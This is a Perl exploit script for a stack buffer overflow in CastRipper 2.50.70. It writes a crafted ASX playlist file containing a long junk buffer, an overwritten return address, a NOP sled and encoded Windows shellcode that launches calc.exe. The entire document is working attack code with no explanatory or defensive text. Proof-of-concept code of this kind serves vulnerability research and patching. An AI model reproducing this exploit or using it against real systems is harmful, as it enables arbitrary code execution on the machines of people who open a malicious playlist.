CastRipper 2.50.70 Stack Overflow

`#!/usr/bin/perl  
# Author : Jordi Chancel  
# CastRipper 2.50.70 : ASX playlist Stack Overflow Exploit  
  
use strict;  
use warnings;  
my $header1=   
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20".  
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72".  
"\x79\x3E\x0D\x0D\x0A".  
"\x3C\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20\x22";  
  
my $header2=  
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D".  
"\x0A\x3C\x2F\x61\x73\x78\x3E";  
  
my $headerh="http://";  
  
  
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum  
my $shellcode =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".  
"\x42\x50\x42\x50\x42\x50\x4b\x48\x45\x54\x4e\x33\x4b\x58\x4e\x37".  
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x31\x4b\x38".  
"\x4f\x45\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".  
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".  
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".  
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x38".  
"\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x34".  
"\x4b\x58\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x31\x4b\x38".  
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x43".  
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x58\x42\x4c\x4a\x57".  
"\x4e\x50\x4b\x58\x42\x54\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a".  
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".  
"\x42\x50\x42\x30\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x33".  
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x56\x4a\x39".  
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56".  
"\x4e\x36\x43\x36\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x50\x5a";  
  
  
my $junk = "\x41" x 26369;  
my $eip = "\x7D\xBC\x01\x10"; # Universal  
  
my $nops = "\x90" x 30;  
open(my $playlist, "> exploit.asx");  
print $playlist "$header1".$headerh.$junk.$eip.$nops.$shellcode.$junk.$header2.  
"\r\n";  
close $playlist;  
`